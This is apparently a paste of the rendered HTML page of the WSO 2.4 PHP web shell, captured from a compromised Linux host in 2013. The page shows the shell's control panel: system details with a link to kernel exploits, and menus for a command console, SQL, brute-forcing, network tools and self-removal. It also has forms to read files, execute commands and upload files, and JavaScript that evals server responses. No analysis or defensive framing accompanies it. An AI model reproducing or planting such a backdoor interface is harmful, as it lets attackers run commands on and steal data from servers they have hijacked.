SHOW:
|
|
- or go back to the newest paste.
| 1 | <html><head><meta http-equiv='Content-Type' content='text/html; charset='><title>default - WSO 2.4</title> | |
| 2 | <style> | |
| 3 | body{background-color:#444;color:#e1e1e1;}
| |
| 4 | body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
| |
| 5 | table.info{ color:#fff;background-color:#222; }
| |
| 6 | span,h1,a{ color: !important; }
| |
| 7 | span{ font-weight: bolder; }
| |
| 8 | h1{ border-left:5px solid ;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
| |
| 9 | div.content{ padding: 5px;margin-left:5px;background-color:#333; }
| |
| 10 | a{ text-decoration:none; }
| |
| 11 | a:hover{ text-decoration:underline; }
| |
| 12 | .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
| |
| 13 | .bigarea{ width:100%;height:250px; }
| |
| 14 | input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid ; font: 9pt Monospace,'Courier New'; }
| |
| 15 | form{ margin:0px; }
| |
| 16 | #toolsTbl{ text-align:center; }
| |
| 17 | .toolsInp{ width: 300px }
| |
| 18 | .main th{text-align:left;background-color:#5e5e5e;}
| |
| 19 | .main tr:hover{background-color:#5e5e5e}
| |
| 20 | .l1{background-color:#444}
| |
| 21 | .l2{background-color:#333}
| |
| 22 | pre{font-family:Courier,Monospace;}
| |
| 23 | </style> | |
| 24 | <script> | |
| 25 | var c_ = ''; | |
| 26 | var a_ = 'FilesMan' | |
| 27 | var charset_ = ''; | |
| 28 | var p1_ = ''; | |
| 29 | var p2_ = ''; | |
| 30 | var p3_ = ''; | |
| 31 | var d = document; | |
| 32 | function set(a,c,p1,p2,p3,charset) {
| |
| 33 | if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
| 34 | if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
| 35 | if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
| 36 | if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
| 37 | if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
| 38 | if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
| 39 | } | |
| 40 | function g(a,c,p1,p2,p3,charset) {
| |
| 41 | set(a,c,p1,p2,p3,charset); | |
| 42 | d.mf.submit(); | |
| 43 | } | |
| 44 | function a(a,c,p1,p2,p3,charset) {
| |
| 45 | set(a,c,p1,p2,p3,charset); | |
| 46 | var params = 'ajax=true'; | |
| 47 | for(i=0;i<d.mf.elements.length;i++) | |
| 48 | params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); | |
| 49 | sr('/index.php', params);
| |
| 50 | } | |
| 51 | function sr(url, params) {
| |
| 52 | if (window.XMLHttpRequest) | |
| 53 | req = new XMLHttpRequest(); | |
| 54 | else if (window.ActiveXObject) | |
| 55 | req = new ActiveXObject('Microsoft.XMLHTTP');
| |
| 56 | if (req) {
| |
| 57 | req.onreadystatechange = processReqChange; | |
| 58 | req.open('POST', url, true);
| |
| 59 | req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
| |
| 60 | console.log(req); | |
| 61 | console.log(url); | |
| 62 | console.log(params); | |
| 63 | } | |
| 64 | } | |
| 65 | function processReqChange() {
| |
| 66 | if( (req.readyState == 4) ) | |
| 67 | if(req.status == 200) {
| |
| 68 | var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
| |
| 69 | var arr=reg.exec(req.responseText); | |
| 70 | eval(arr[2].substr(0, arr[1])); | |
| 71 | } else alert('Request error!');
| |
| 72 | } | |
| 73 | </script> | |
| 74 | <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> | |
| 75 | <form method=post name=mf style='display:none;'> | |
| 76 | <input type=hidden name=a> | |
| 77 | <input type=hidden name=c> | |
| 78 | <input type=hidden name=p1> | |
| 79 | <input type=hidden name=p2> | |
| 80 | <input type=hidden name=p3> | |
| 81 | <input type=hidden name=charset> | |
| 82 | </form><table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux blackhawks 2.6.32.45-grsec-2.2.2-r3 #8 SMP Mon Oct 10 13:33:17 PDT 2011 x86_64 <a href="http://exploit-db.com/list.php?description=Linux+Kernel+2.6.32" target=_blank>[exploit-db.com]</a></nobr><br>9782979 ( tkcs ) <span>Group:</span> 614812 ( pg2342436 )<br>5.2.17 <span>Safe mode:</span> <font color=#00bb00><b>OFF</b></font> <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> 2013-03-12 16:31:59<br>1 B <span>Free:</span> B (0%)<br> <font color=#FF0000>u---------</font> <a href=# onclick="g('FilesMan','','','','')">[ home ]</a><br></td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset"><option value="UTF-8" >UTF-8</option><option value="Windows-1251" >Windows-1251</option><option value="KOI8-R" >KOI8-R</option><option value="KOI8-U" >KOI8-U</option><option value="cp866" >cp866</option></optgroup></select><br><span>Server IP:</span><br><br><span>Client IP:</span><br>127.0.0.1</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr><th width="10%">[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th width="10%">[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th width="10%">[ <a href="#" onclick="g('Console',null,'','','')">Console</a> ]</th><th width="10%">[ <a href="#" onclick="g('Sql',null,'','','')">Sql</a> ]</th><th width="10%">[ <a href="#" onclick="g('Php',null,'','','')">Php</a> ]</th><th width="10%">[ <a href="#" onclick="g('SafeMode',null,'','','')">Safe mode</a> ]</th><th width="10%">[ <a href="#" onclick="g('StringTools',null,'','','')">String tools</a> ]</th><th width="10%">[ <a href="#" onclick="g('Bruteforce',null,'','','')">Bruteforce</a> ]</th><th width="10%">[ <a href="#" onclick="g('Network',null,'','','')">Network</a> ]</th><th width="10%">[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></table><div style="margin:5"><h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>Can't open this folder!
| |
| 83 | </div> | |
| 84 | <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> | |
| 85 | <tr> | |
| 86 | <td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> | |
| 87 | <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
| |
| 88 | </tr><tr> | |
| 89 | <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color=red>(Not writable)</font><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
| |
| 90 | <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color=red>(Not writable)</font><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
| |
| 91 | </tr><tr> | |
| 92 | <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
| |
| 93 | <td><form method='post' ENCTYPE='multipart/form-data'> | |
| 94 | <input type=hidden name=a value='FilesMAn'> | |
| 95 | <input type=hidden name=c value=''> | |
| 96 | <input type=hidden name=p1 value='uploadFile'> | |
| 97 | <input type=hidden name=charset value=''> | |
| 98 | <span>Upload file:</span> <font color=red>(Not writable)</font><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> | |
| 99 | </tr></table></div></body></html> |